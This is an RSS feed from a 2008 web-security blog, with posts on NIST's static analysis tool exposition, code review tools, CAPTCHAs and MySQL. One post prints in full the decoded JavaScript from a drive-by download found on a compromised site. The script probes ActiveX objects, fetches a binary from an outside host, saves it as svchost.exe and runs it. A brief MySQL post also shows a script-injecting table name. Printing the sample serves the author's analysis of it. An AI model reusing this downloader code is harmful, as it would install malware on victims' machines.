<?xml version="1.0" encoding="utf-8"?><?xml-stylesheet title="XSL formatting" type="text/xsl" href="http://rgaucher.info/feed/rss2/xslt" ?><rss version="2.0"
  xmlns:dc="http://purl.org/dc/elements/1.1/"
  xmlns:wfw="http://wellformedweb.org/CommentAPI/"
  xmlns:content="http://purl.org/rss/1.0/modules/content/">
<channel>
  <title>deep inside | security &amp; tools</title>
  <link>http://rgaucher.info/</link>
  <description>This is a technical blog around the web security and hopefully lots of technologies. There will be at least: Python, C++, Web, AJAX, CSS and JavaScript. I'd like to talk more about data-mining, operational research stuff, maybe more intelligent algorithm also...</description>
  <language>en</language>
  <pubDate>Mon, 30 Jun 2008 22:46:22 -0400</pubDate>
  <copyright>All the content of this blog has been written by Romain Gaucher. Please add my blog URL if you quote me</copyright>
  <docs>http://blogs.law.harvard.edu/tech/rss</docs>
  <generator>Dotclear</generator>
  
    
  <item>
    <title>My talk at SAW: Automated Evaluation of source code analyzer output</title>
    <link>http://rgaucher.info/post/2008/06/10/Automated-Evaluation-of-source-code-analyzer-output</link>
    <guid isPermaLink="false">urn:md5:f40becd28da0b4d65fa4f6e0b043b7a6</guid>
    <pubDate>Tue, 10 Jun 2008 15:38:00 -0400</pubDate>
    <dc:creator>Romain</dc:creator>
        <category>Tools</category>
        <category>code quality</category><category>Evaluation</category><category>SAMATE</category><category>SATE</category><category>source code scanners</category><category>static analysis</category>    
    <description>    &lt;p&gt;It has been some time since I haven't post on my blog... well, I've been
busy especially with the end of &lt;a href=&quot;http://samate.nist.gov/index.php/SATE&quot;&gt;SATE&lt;/a&gt;, and oh well! had vacation
:)&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;Anyway, at the next &lt;a href=&quot;http://samate.nist.gov/index.php/SAW&quot;&gt;Static
Analysis Workshop&lt;/a&gt; this Thursday, we're gonna talk about the SATE experiment
and the observations/results we could get from this. I am then gonna talk about
a tool I wrote in order to probe if a reported weakness is a false-positive:
this is the Automated Evaluation.&lt;/p&gt;
&lt;p&gt;The main idea of the Automated Evaluation, is to get some information on the
source code and, under some assumptions, try to make a conclusion on the
correctness of the piece of code. Behind all the reasoning from that particular
tool, my approach had to be radically different than a classical SCA otherwise
this would have been like creating a new SCA and this would have been obviously
useless. The context of this automated evaluation is limited to the buffer
overflows and this can only work for &lt;strong&gt;proving false-positive
only&lt;/strong&gt;!&lt;/p&gt;
&lt;p&gt;So basically, I am reading the source code from the reported sink to the
possibles sources and grabbing the actions that possibly affect the variable
which have a role in the code.&lt;/p&gt;
&lt;p&gt;These actions are like:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Allocation of a destination buffer&lt;/li&gt;
&lt;li&gt;Computing the size of the source buffer(s)&lt;/li&gt;
&lt;li&gt;Test for NULL&lt;/li&gt;
&lt;li&gt;Test that involves the size of the buffers...&lt;/li&gt;
&lt;li&gt;... and some others&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Then, once these actions are detected, the tool increments a global score of
false-positiveness to this reported weakness. We then only have to set a
threshold in order to know what correctness we want to have; this is really
tied to the source code and how the program is developed.&lt;/p&gt;
&lt;p&gt;Even though this evaluation method is not perfect, this was adapted to the C
test cases we had in SATE 2008 since the global code quality was good. We can
even say that the software were well written; it was then okay to make some
assumption on the code such as:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;If the size of the destination buffer is computed with the size of the
source buffer, the size is good (basically: no off-by-one)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Also, the tool itself needs some information on the source code such since
it uses regular expression to match the &amp;quot;actions&amp;quot;...&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;
&lt;br /&gt;
Here we are for a quick explanation and here are the slides: &lt;a href=&quot;http://rgaucher.info/work/NIST/Automated%20Evaluation-%20SATE%202008.pdf&quot;&gt;SAW: Automated
Evaluation of SCA output&lt;/a&gt;&lt;/p&gt;</description>
    
    
    
          <comments>http://rgaucher.info/post/2008/06/10/Automated-Evaluation-of-source-code-analyzer-output#comment-form</comments>
      <wfw:comment>http://rgaucher.info/post/2008/06/10/Automated-Evaluation-of-source-code-analyzer-output#comment-form</wfw:comment>
      <wfw:commentRss>http://rgaucher.info/feed/rss2/comments/116</wfw:commentRss>
      </item>
    
  <item>
    <title>ph34r the script kiddies: Whitehouse.org</title>
    <link>http://rgaucher.info/post/2008/05/20/ph34r-the-script-kiddies</link>
    <guid isPermaLink="false">urn:md5:a23d7f4adb9fa1a88baddc278a033d1e</guid>
    <pubDate>Tue, 20 May 2008 10:07:00 -0400</pubDate>
    <dc:creator>Romain</dc:creator>
        <category>Tech</category>
        <category>h4X0r</category><category>hacks</category><category>javascript</category><category>malware</category><category>Tech</category><category>wtf!</category>    
    <description>    &lt;p&gt;I was just reading &lt;a href=&quot;http://blog.trendmicro.com/whitehouseorg-pwnd-serving-malware/&quot;&gt;this news&lt;/a&gt;
(reported by Kanedaa), decided to look closer to the content of this &amp;quot;malware&amp;quot;
stuff to see if there was some nice techniques behind this so called
&amp;quot;attack&amp;quot;.&lt;/p&gt;
&lt;p&gt;Oh men! How disappointing to see that this was done by script kiddies... the
&amp;quot;obfuscation&amp;quot; consist of 3 levels of URL encoded javascript... yeah... URL
encoding is for sure an obfuscation very hard to prettify. And the final code
was just not obfuscated either... Just this:&lt;/p&gt;
&lt;pre&gt;
function myCreateOB(o, n) {
    var r = null;
    try { eval('r = o.CreateObject(n)') }catch(e){}
    if (! r) {try { eval('r = o.CreateObject(n, &amp;quot;&amp;quot;)') }catch(e){} }
    if (! r) {try { eval('r = o.CreateObject(n, &amp;quot;&amp;quot;, &amp;quot;&amp;quot;)') }catch(e){}}
    if (! r) {try { eval('r = o.GetObject(&amp;quot;&amp;quot;, n)') }catch(e){}}
    if (! r) {try { eval('r = o.GetObject(n, &amp;quot;&amp;quot;)') }catch(e){}}
    if (! r) {try { eval('r = o.GetObject(n)') }catch(e){}  }
    return(r);
}

function Go(a) {
    var s = myCreateOB(a, &amp;quot;WS&amp;quot;+&amp;quot;cr&amp;quot;+&amp;quot;ip&amp;quot;+&amp;quot;t.S&amp;quot;+&amp;quot;he&amp;quot;+&amp;quot;ll&amp;quot;);
    var o = myCreateOB(a, &amp;quot;AD&amp;quot;+&amp;quot;OD&amp;quot;+&amp;quot;B.St&amp;quot;+&amp;quot;re&amp;quot;+&amp;quot;am&amp;quot;);
    var e = s.Environment(&amp;quot;Process&amp;quot;);
    var xml = null;
     var url = 'http://ad.ox88.info/bbs.jpg';
    var bin = e.Item(&amp;quot;TEMP&amp;quot;) + &amp;quot;svchost.exe&amp;quot;;
    var dat;
    try { xml=new XMLHttpRequest(); }
    catch(e) {
        try { xml = new ActiveXObject(&amp;quot;Mic&amp;quot;+&amp;quot;ros&amp;quot;+&amp;quot;of&amp;quot;+&amp;quot;t.XM&amp;quot;+&amp;quot;LHT&amp;quot;+&amp;quot;TP&amp;quot;); }
        catch(e) {
            xml = new ActiveXObject(&amp;quot;MSX&amp;quot;+&amp;quot;ML2.Ser&amp;quot;+&amp;quot;verXM&amp;quot;+&amp;quot;LHT&amp;quot;+&amp;quot;TP&amp;quot;);
        }
    }
    if (! xml) return(0);
    xml.open(&amp;quot;GET&amp;quot;, url, false)
    xml.send(null);
    dat = xml.responseBody;

    o.Type = 1;
    o.Mode = 3;
    o.Open();
    o.Write(dat);
    o.SaveToFile(bin, 2);

    s.Run(bin,0);
}

function mywoewd() {
    var i = 0;
    var ss11='{7F5B7F';
    var ss12='63-F06';
    var ss13='F-4331-8A';
    var ss14='26-339E0'
    var ss15='3C0AE3D}';
    var ss1=ss11+ss12+ss13+ss14+ss15
    var ss2=&amp;quot;{BD96&amp;quot;+&amp;quot;C55&amp;quot;+&amp;quot;6-65A3-1&amp;quot;+&amp;quot;1D0-98&amp;quot;+&amp;quot;3A-00C04F&amp;quot;+&amp;quot;C29E36}&amp;quot;;
    var ss3=&amp;quot;{AB9&amp;quot;+&amp;quot;BCEDD-E&amp;quot;+&amp;quot;C7E-47&amp;quot;+&amp;quot;E1-93&amp;quot;+&amp;quot;22-D4&amp;quot;+&amp;quot;A210617116}&amp;quot;;
    var ss4=&amp;quot;{00&amp;quot;+&amp;quot;06F&amp;quot;+&amp;quot;033-000&amp;quot;+&amp;quot;0-0000-C0&amp;quot;+&amp;quot;00-00000&amp;quot;+&amp;quot;0000046}&amp;quot;;
    var ss5=&amp;quot;{0006&amp;quot;+&amp;quot;F03A-0000-00&amp;quot;+&amp;quot;00-C000-00&amp;quot;+&amp;quot;00000&amp;quot;+&amp;quot;00046}&amp;quot;;

    var t = new Array(ss1,ss2,ss3,ss4,ss5,null);
    while (t[i]) {
        var a = null;
        if (t[i].substring(0,1) == '{') {
         a = document.createElement(&amp;quot;object&amp;quot;);
         a.setAttribute(&amp;quot;classid&amp;quot;, &amp;quot;clsid:&amp;quot; + t[i].substring(1, t[i].length - 1));
        } else {
            try { a = new ActiveXObject(t[i]); } catch(e){}
        }
        if (a) {
            try {
                var b = myCreateOB(a, &amp;quot;WSc&amp;quot;+&amp;quot;rip&amp;quot;+&amp;quot;t.Sh&amp;quot;+&amp;quot;ell&amp;quot;);
                if (b) {
                    Go(a);
                    return(0);
                }
            } catch(e){}
        }
        i++;
    }
}
&lt;/pre&gt;
&lt;p&gt;As reported by Trend Micro, this is supposed to be a download of the trojan:
TROJ_DELF.GKP ... that doesn't mean anything to me but anyway, my AV didn't
detect it :)&lt;/p&gt;</description>
    
    
    
          <comments>http://rgaucher.info/post/2008/05/20/ph34r-the-script-kiddies#comment-form</comments>
      <wfw:comment>http://rgaucher.info/post/2008/05/20/ph34r-the-script-kiddies#comment-form</wfw:comment>
      <wfw:commentRss>http://rgaucher.info/feed/rss2/comments/115</wfw:commentRss>
      </item>
    
  <item>
    <title>Yet another study on code quality: A Tale of Four Kernels</title>
    <link>http://rgaucher.info/post/2008/05/16/Yet-another-paper-on-code-quality%3A-A-Tale-of-Four-Kernels</link>
    <guid isPermaLink="false">urn:md5:54969668d7be7f40c7d4df0cc6278b45</guid>
    <pubDate>Fri, 16 May 2008 14:43:00 -0400</pubDate>
    <dc:creator>Romain</dc:creator>
        <category>Discussion</category>
        <category>code quality</category><category>metrics</category><category>source code scanners</category><category>static analysis</category><category>testing</category>    
    <description>    &lt;p&gt;If like me you are interested in code quality and some general conclusion
that one can draw based on code quality studies, I really recommend to read
this paper: &lt;a href=&quot;http://www.spinellis.gr/pubs/conf/2008-ICSE-4kernel/html/Spi08b.html&quot;&gt;A Tale
of Four Kernels&lt;/a&gt; by &lt;a href=&quot;http://www.spinellis.gr/index.html.var&quot;&gt;Diomidis Spinellis&lt;/a&gt;, &lt;em&gt;ICSE '08:
Proceedings of the 30th International Conference on Software
Engineering&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;I just want to quote a part of the conclusion by the author&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Therefore, the most we can read from the overall balance of marks is that
open source development approaches do not produce software of markedly higher
quality than proprietary software development.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The only problem with this statement is that it is based on the fact that
the metrics he used were not weighted for their importance for the &amp;quot;Code
Quality&amp;quot; (if this means something). Therefore, the comparison between the
Windows research kernel and Linux seems a little bit awkward to me. Anyway,
this is a very interesting paper about code quality, and lots of interesting
ideas from the author of &lt;a href=&quot;http://www.spinellis.gr/cscout/&quot;&gt;CScout&lt;/a&gt;.&lt;/p&gt;</description>
    
    
    
          <comments>http://rgaucher.info/post/2008/05/16/Yet-another-paper-on-code-quality%3A-A-Tale-of-Four-Kernels#comment-form</comments>
      <wfw:comment>http://rgaucher.info/post/2008/05/16/Yet-another-paper-on-code-quality%3A-A-Tale-of-Four-Kernels#comment-form</wfw:comment>
      <wfw:commentRss>http://rgaucher.info/feed/rss2/comments/114</wfw:commentRss>
      </item>
    
  <item>
    <title>Static Analysis Tool Exposition is over</title>
    <link>http://rgaucher.info/post/2008/05/14/Static-Analysis-Tool-Exposition-is-over</link>
    <guid isPermaLink="false">urn:md5:708999db6b61f584d5b33921069d9281</guid>
    <pubDate>Wed, 14 May 2008 00:20:00 -0400</pubDate>
    <dc:creator>Romain</dc:creator>
        <category>Discussion</category>
        <category>SAMATE</category><category>SATE</category><category>secure programming</category><category>source code scanners</category><category>static analysis</category>    
    <description>    &lt;p&gt;Yeah, that's sad and also a relief: &lt;a href=&quot;http://samate.nist.gov/index.php/SATE&quot;&gt;SATE&lt;/a&gt; is over. We actually released
today the last stage of the evaluation (basically, the evaluation with some
correction based on comments from the participants). Even though I would have
prefer to have more feedback from participants on our evaluation, especially to
increase its quality, I still think SATE is a good thing and will be an
interesting resource for lost of researchers. This is, as far as I know, the
only exhaustive resource on the subject (wild source code + weaknesses).&lt;/p&gt;
&lt;p&gt;What do I want to do, see next? Since we have accumulated lots of data with
the tool reports (raw weaknesses), the evaluations (I really want to thank
MITRE's guys, especially Steve Christey and Bob Schmeichel for their help), I'm
looking forward to do data analysis and trying to extract some limited results
on it.&lt;/p&gt;
&lt;p&gt;Anyway, this was overall a good experience, I actually did my first real
code review mostly on lighttpd, dspace, mvnform and naim, I think I know way
more on how detecting vulnerabilities, I also have been asking myself about how
to rate vulnerabilities such as Cross-Site Scripting (hopefully, I will release
the little document I wrote about it), I learned so much about how people are
writing code trying to understand the design, the code etc. in the
applications.&lt;/p&gt;
&lt;p&gt;Also, hopefully, I will be able to release the website I developed to handle
the weaknesses from different tools. It is, I think, interesting if you are
working with more than one assessor. You can send evaluation, comments, merging
the weaknesses etc. with a web interface. Even though it needs improvements (it
has been done in less than 2 weeks) I think this would be an interesting piece
of software for people who are dealing with tons of weaknesses. Another
interesting point is that we (at NIST) may open that website for everybody in
order to make new evaluation in order to increase the quality of the data we
currently have.&lt;/p&gt;
&lt;p&gt;Oh well, it seems like a journey is really close to its end, it was such a
good time sometimes, and some other time such consuming work. We've been
dealing with fifty thousands of weaknesses, dozen of tool reports, and almost
tens of test cases... I will keep you posted about the next decision we are
gonna make with SATE and hope that lots of people will find in this
&amp;quot;exposition&amp;quot; the most they could get.&lt;/p&gt;</description>
    
    
    
          <comments>http://rgaucher.info/post/2008/05/14/Static-Analysis-Tool-Exposition-is-over#comment-form</comments>
      <wfw:comment>http://rgaucher.info/post/2008/05/14/Static-Analysis-Tool-Exposition-is-over#comment-form</wfw:comment>
      <wfw:commentRss>http://rgaucher.info/feed/rss2/comments/113</wfw:commentRss>
      </item>
    
  <item>
    <title>Oh please stop it with these ridiculous CAPTCHAs!</title>
    <link>http://rgaucher.info/post/2008/05/10/Oh-please-stop-it-with-these-ridiculous-CAPTCHAs</link>
    <guid isPermaLink="false">urn:md5:613044eedcfeb99c7853ef4d16444e75</guid>
    <pubDate>Sat, 10 May 2008 11:30:00 -0400</pubDate>
    <dc:creator>Romain</dc:creator>
        <category>Discussion</category>
        <category>Bahhhh</category><category>CAPTCHA</category>    
    <description>    &lt;p&gt;&lt;a href=&quot;http://www.tssci-security.com/&quot;&gt;Marcin&lt;/a&gt; just told me about that stupid &lt;a href=&quot;http://en.wikipedia.org/wiki/CAPTCHA&quot;&gt;CAPTCHA
&lt;/a&gt; from the rapidshare website. Even if I think this is made explicitly to annoy people (this &lt;a href=&quot;http://en.wikipedia.org/wiki/CAPTCHA&quot;&gt;CAPTCHA
&lt;/a&gt; is used only for free accounts) this is just stupid.&lt;/p&gt;


&lt;p&gt;Can you really tell which letter has cat or not? I'm sorry but I can't!&lt;/p&gt;


&lt;p&gt;&lt;img src=&quot;http://rgaucher.info/pub/rapidshare_cats.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;</description>
    
    
    
          <comments>http://rgaucher.info/post/2008/05/10/Oh-please-stop-it-with-these-ridiculous-CAPTCHAs#comment-form</comments>
      <wfw:comment>http://rgaucher.info/post/2008/05/10/Oh-please-stop-it-with-these-ridiculous-CAPTCHAs#comment-form</wfw:comment>
      <wfw:commentRss>http://rgaucher.info/feed/rss2/comments/112</wfw:commentRss>
      </item>
    
  <item>
    <title>Accelerate the convergence to the bug: Running the test in 16-bit</title>
    <link>http://rgaucher.info/post/2008/05/01/Testing-software-in-16-bit-mode</link>
    <guid isPermaLink="false">urn:md5:6652d584a44a89f6b51435acd74dc800</guid>
    <pubDate>Thu, 01 May 2008 09:59:00 -0400</pubDate>
    <dc:creator>Romain</dc:creator>
        <category>Tech</category>
            
    <description>    &lt;p&gt;Yesterday, I came across a case in a piece of software which was really hard for me to understand perfectly. Not only the code is well written (which is always worse for finding bugs :)) but the structure is also well thought (this is the implementation of an associated array in C in the lighttpd application).&lt;/p&gt;


&lt;p&gt;The problem I had was to state whether a tool report was a true-positive/false-positive. So, as in many case I've seen in this software a problem may occur only in the limit cases. This one may occur after &lt;a href=&quot;http://en.wikipedia.org/wiki/Limits.h&quot; hreflang=&quot;en&quot;&gt;INT_MAX&lt;/a&gt; insertion in the structure. I don't know if one of you ever tried to do such a thing, but only INT_MAX (~2 billions on typical PC) allocations is a lot, so inserting elements in a structure that needs at least 5 (re)allocations is too much. But well, I did it. Also, I ran this test with &lt;a href=&quot;http://valgrind.org/&quot; hreflang=&quot;en&quot;&gt;valgrind&lt;/a&gt; using the memory leak check (full check and high definition).&lt;/p&gt;


&lt;p&gt;I then ran a simple test program to fill this structure in a real condition: a typical x86/32-bit architecture. As I knew it was stupid and didn't even think this could end before 2 days I started looking in other direction in order to reduce the &lt;code&gt;INT_MAX&lt;/code&gt; size for having a reasonable time execution of the test.&lt;/p&gt;



&lt;p&gt;&lt;br /&gt;&lt;/p&gt;



&lt;p&gt;My first attempt is to shift all the types that are used, I knew this was not perfect because even if I can force my program to use &lt;code&gt;unsigned short&lt;/code&gt; instead of &lt;code&gt;size_t&lt;/code&gt;, I wouldn't change the size of the pointers, a &lt;code&gt;char *&lt;/code&gt; would still b 32-bit (there may be some options in gcc to control the size of the pointers — which I doubt — but I didn't find any).
Using this methodology, I was able to make the program crash in the way that would have been a real true-positive.&lt;/p&gt;


&lt;p&gt;&lt;br /&gt;&lt;/p&gt;




&lt;p&gt;But as I knew it was not good since the size of the pointers are not modified and I had the feeling that in that particular structure, the case of the possible crash is handled by itself (due to pointer and type limits), I started looking in other direction for running that program in 16-bit, a pseudo-real-16-bit-mode. I then started looking into emulators and how to compile code for 16-bits and running it on my linux (x86/32-bit).
After having issues compiling and running the test program with the &lt;a href=&quot;http://www.gnu-m68hc11.org&quot; hreflang=&quot;en&quot;&gt;gnu-m68hc11 ELF&lt;/a&gt; package, I found the &lt;a href=&quot;http://elks.sourceforge.net/&quot; hreflang=&quot;en&quot;&gt;bcc/elksemu&lt;/a&gt; stuff.
After compiling and running with ELKS utilities, the test program didn't crash, it only failed in an assertion test after an allocation...&lt;/p&gt;



&lt;p&gt;&lt;br /&gt;&lt;/p&gt;



&lt;p&gt;Different behavior, with different methods, okay... which is the correct one? Is it a problem of pointer size that made the test running differently than the real program on a 32-bit or maybe a limitation of the elksemu machine?
As this morning I checked the state of the 32-bit run I launched yesterday, and this was finished... ended by a failed assertion.&lt;/p&gt;


&lt;p&gt;As expected, pointer size matters when you wanna test on intrinsic limitations of a structure and its behavior using limit cases.&lt;/p&gt;</description>
    
    
    
          <comments>http://rgaucher.info/post/2008/05/01/Testing-software-in-16-bit-mode#comment-form</comments>
      <wfw:comment>http://rgaucher.info/post/2008/05/01/Testing-software-in-16-bit-mode#comment-form</wfw:comment>
      <wfw:commentRss>http://rgaucher.info/feed/rss2/comments/111</wfw:commentRss>
      </item>
    
  <item>
    <title>Scaling MySQL db</title>
    <link>http://rgaucher.info/post/2008/04/28/Scaling-MySQL-db</link>
    <guid isPermaLink="false">urn:md5:fb60a05e7e0f51a5cf7f59cd9d9d36ec</guid>
    <pubDate>Mon, 28 Apr 2008 09:03:00 -0400</pubDate>
    <dc:creator>Romain</dc:creator>
        <category>Stuffs</category>
        <category>MySQL</category><category>Scaling</category>    
    <description>    &lt;p&gt;I've just came across this interesting blog entry; some numbers on how people (large websites companies) are actually using MySQL.&lt;/p&gt;


&lt;p&gt;&lt;a href=&quot;http://venublog.com/2008/04/16/notes-from-scaling-mysql-up-or-out/&quot; hreflang=&quot;en&quot;&gt;http://venublog.com/2008/04/16/notes-from-scaling-mysql-up-or-out/&lt;/a&gt;&lt;/p&gt;</description>
    
    
    
          <comments>http://rgaucher.info/post/2008/04/28/Scaling-MySQL-db#comment-form</comments>
      <wfw:comment>http://rgaucher.info/post/2008/04/28/Scaling-MySQL-db#comment-form</wfw:comment>
      <wfw:commentRss>http://rgaucher.info/feed/rss2/comments/110</wfw:commentRss>
      </item>
    
  <item>
    <title>MySQL table/field names</title>
    <link>http://rgaucher.info/post/2008/04/08/MySQL-table/field-names</link>
    <guid isPermaLink="false">urn:md5:733953e29e70d1e2c5ffa14e8fe5d613</guid>
    <pubDate>Tue, 08 Apr 2008 21:45:00 -0400</pubDate>
    <dc:creator>Romain</dc:creator>
        <category>Stuffs</category>
        <category>MySQL</category><category>SQL Injection</category><category>XSS</category>    
    <description>    &lt;p&gt;Sometimes I really don't understand developers.&lt;/p&gt;


&lt;p&gt;Why the heck a table name such as &lt;code&gt;a&amp;lt;script&amp;gt;foo(42)`cool&lt;/code&gt; could ever be allowed? What's the point of that?
I know I am almost clueless with SQL but... what's the reason here? If someone has some idea, I would love to hear them!&lt;/p&gt;</description>
    
    
    
          <comments>http://rgaucher.info/post/2008/04/08/MySQL-table/field-names#comment-form</comments>
      <wfw:comment>http://rgaucher.info/post/2008/04/08/MySQL-table/field-names#comment-form</wfw:comment>
      <wfw:commentRss>http://rgaucher.info/feed/rss2/comments/108</wfw:commentRss>
      </item>
    
  <item>
    <title>Untrusted websites passwords</title>
    <link>http://rgaucher.info/post/2008/03/17/Untrusted-websites-passwords</link>
    <guid isPermaLink="false">urn:md5:c14f07a6e8312bb4679053b12da6ca5f</guid>
    <pubDate>Mon, 17 Mar 2008 13:31:00 -0400</pubDate>
    <dc:creator>Romain</dc:creator>
        <category>Tech</category>
            
    <description>    &lt;p&gt;After using different password, it's really bothering to have lots of diversity; you need to remember them or well, store them in a password.txt&lt;/p&gt;


&lt;p&gt;I just made a simple script for my own in order, from mostly the same password, to generate different ones for different websites... This is not that big deal, just a simple script to do that, but I thought it could have been useful for some of you...&lt;/p&gt;



&lt;p&gt;You can reach the script here: &lt;a href=&quot;http://rgaucher.info/beta/pass.php&quot; hreflang=&quot;en&quot;&gt;Untrusted websites passwords creator&lt;/a&gt;&lt;/p&gt;</description>
    
    
    
          <comments>http://rgaucher.info/post/2008/03/17/Untrusted-websites-passwords#comment-form</comments>
      <wfw:comment>http://rgaucher.info/post/2008/03/17/Untrusted-websites-passwords#comment-form</wfw:comment>
      <wfw:commentRss>http://rgaucher.info/feed/rss2/comments/107</wfw:commentRss>
      </item>
    
  <item>
    <title>NIST SATE step 3 completed: test cases information release</title>
    <link>http://rgaucher.info/post/2008/02/29/NIST-SATE-step-3-completed</link>
    <guid isPermaLink="false">urn:md5:0dd19157430db6e5a969554e80815000</guid>
    <pubDate>Fri, 29 Feb 2008 22:55:00 -0500</pubDate>
    <dc:creator>Romain</dc:creator>
        <category>Information</category>
        <category>SATE</category><category>source code scanners</category><category>static analysis</category><category>Vulnerabilities</category>    
    <description>    &lt;p&gt;This evening at work, with Vadim, we were exhausted after days of work but
we were smiling. Smiling and happy because we knew that the step 3 of &lt;a href=&quot;http://samate.nist.gov/index.php/SATE&quot; hreflang=&quot;en&quot;&gt;SATE&lt;/a&gt; was pretty much
done. The &lt;a href=&quot;http://samate.nist.gov/index.php/SATE#Step_3_Participants_run_their_tool_on_the_test_set.28s.29_and_return_their_report.28s.29_.28by_29_Feb_2008.29&quot; hreflang=&quot;en&quot;&gt;step 3&lt;/a&gt; is when all the participants are sending their output
to us. Even if we know that we will have hard time to come up with the master
reference list for each test cases what we selected for SATE 2008, we know that
this is interesting data for the SwA community and especially SCA studies.&lt;/p&gt;
&lt;p&gt;Today, we can finally tell which test cases were selected by us for SATE
2008. First of all, we have 2 different tracks: C language and Java language.
For the java track, we decided to look more into web applications. We then
have:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://www.dspace.org&quot; hreflang=&quot;en&quot;&gt;DSpace&lt;/a&gt;: content
management system&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.mvnforum.com&quot; hreflang=&quot;en&quot;&gt;mvnForum&lt;/a&gt;: forum&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.opennms.org/&quot; hreflang=&quot;en&quot;&gt;OpenNMS&lt;/a&gt;: network
management system&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;And for the C track we selected:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://www.nagios.org&quot; hreflang=&quot;en&quot;&gt;Nagios&lt;/a&gt;: host, service and
network monitoring with web interface (using CGI)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.lighttpd.net&quot; hreflang=&quot;en&quot;&gt;Lighttpd&lt;/a&gt;: web
server&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://naim.n.ml.org&quot; hreflang=&quot;en&quot;&gt;Naim&lt;/a&gt;: console instant
messenger&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You may have lots of comments on why these and I am totally ready to answer
your questions. Just to let you know, during the selection phase, we reviewed
50+ different applications. For each applications, we had to scan them using
tools, doing some manual review and our main goal is to find at least one
exploitable vulnerability. Concerning the type of test cases themselves, the
constrain is to have real exploitable vulnerabilities and they must be real
applications which means basically, not test cases that we have in our &lt;a href=&quot;http://samate.nist.gov/SRD/&quot; hreflang=&quot;en&quot;&gt;SRD&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Just as reminder, the next important dates for SATE 2008 are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;April 15, we are distributing to the participants our master reference
list, the list of &lt;strong&gt;real weaknesses&lt;/strong&gt; found by the
participants&lt;/li&gt;
&lt;li&gt;June, comparison of all the participants results, the participants get all
the reports submitted at SATE 2008&lt;/li&gt;
&lt;li&gt;December, all the data and reports are public&lt;/li&gt;
&lt;/ul&gt;</description>
    
    
    
          <comments>http://rgaucher.info/post/2008/02/29/NIST-SATE-step-3-completed#comment-form</comments>
      <wfw:comment>http://rgaucher.info/post/2008/02/29/NIST-SATE-step-3-completed#comment-form</wfw:comment>
      <wfw:commentRss>http://rgaucher.info/feed/rss2/comments/106</wfw:commentRss>
      </item>
    
  <item>
    <title>Code review: facilitate the SCA output analysis</title>
    <link>http://rgaucher.info/post/2008/02/25/Code-review%3A-facilitate-the-SCA-outputs-analysis</link>
    <guid isPermaLink="false">urn:md5:ec62084cc75bab122bbb2652dc49c476</guid>
    <pubDate>Mon, 25 Feb 2008 20:59:00 -0500</pubDate>
    <dc:creator>Romain</dc:creator>
        <category>Discussion</category>
        <category>source code scanners</category><category>testing</category><category>Vulnerabilities</category><category>weaknesses walker</category>    
    <description>    &lt;p&gt;This post is not exactly a follow up of a previous post called &lt;a href=&quot;http://rgaucher.info/post/2008/02/19/Code-review-tools%3A-the-missing-link-so-far&quot; hreflang=&quot;en&quot;&gt;Code review tools: the missing link (so far)&lt;/a&gt;, But since I will have to perform a lot of code review in the next couple of weeks and also tool output analysis, I was looking for some tool to help me, to facilitate my job. I've been asking people for links, tips etc. but nothing really convinced me. I am looking for a tool which is basically able to smartly index the source code I am reviewing, which means that I want to be able to look at the variables, where they are declared, affected and used... I also want to see the call graphs of functions and this, mostly to probe the correctness of tool output.&lt;/p&gt;



&lt;p&gt;After a couple of hours looking at specialized tools, I was not able to find something good and free (No, I don't call &lt;a href=&quot;http://cscope.sourceforge.net/&quot; hreflang=&quot;en&quot;&gt;cscope&lt;/a&gt; good!). Yes, there are a couple of commercial ones, especially the ones shipped with the commercial source code analyzers and well, they're not perfect at all!
&lt;br /&gt;
&lt;br /&gt;
So, this morning, I was like frustrated when I actually thought of using a tool I used a lot, but for a quite different utilization: &lt;a href=&quot;http://www.stack.nl/~dimitri/doxygen/&quot; hreflang=&quot;en&quot;&gt;Doxygen&lt;/a&gt;. You may know this documentation tool, but may not know all it is capable of.&lt;/p&gt;



&lt;p&gt;As a documentation generation tool, it is really powerful and mostly based on specially &lt;a href=&quot;http://www.stack.nl/~dimitri/doxygen/docblocks.html&quot; hreflang=&quot;en&quot;&gt;formated comments&lt;/a&gt; that the developers seed in the source code. But the tool is also generating a bunch of structure related information such as classes relations, function calls graphs etc. As I don't want to generate a documentation of the code I'm reviewing, I don't mind not to have the well formated comments. I am asking this tool to generate me the structural information and facilitate the navigation from function to function.&lt;/p&gt;



&lt;p&gt;I made a &lt;a href=&quot;http://rgaucher.info/pub/npmngplg_8c.html#641376232c786495b014f831d39c2c52&quot; hreflang=&quot;en&quot;&gt;small example of the report generated by Doxygen&lt;/a&gt; using the configuration I made for getting all the information I wanted (only one page since the documentation and the pictures etc. are kinda big...). In order to generate the configuration I wanted, I made a tiny python script &lt;a href=&quot;http://rgaucher.info/beta/ozone.pys&quot; hreflang=&quot;en&quot;&gt;ozone.py&lt;/a&gt; since the DoxyWizard is not really convenient for that. Also, I will add a process to pre-compile the JSP files since Doxygen doesn't understand the JSP syntax and the option to use the Doxygen search engine (PHP script that use and file with indexed tags).&lt;/p&gt;


&lt;p&gt;This is the first step of that script, as you may see by looking at the source code, I am also generating the XML files, this is because the XML generated Doxygen documentation contains a lot of interesting information that I may use later... Also, while looking at the Doxygen source code, I thought that it could be possible to integrate many more static analysis such as computing metrics, etc. Anyway, so many other things to do than thinking about that right now!&lt;/p&gt;</description>
    
    
    
          <comments>http://rgaucher.info/post/2008/02/25/Code-review%3A-facilitate-the-SCA-outputs-analysis#comment-form</comments>
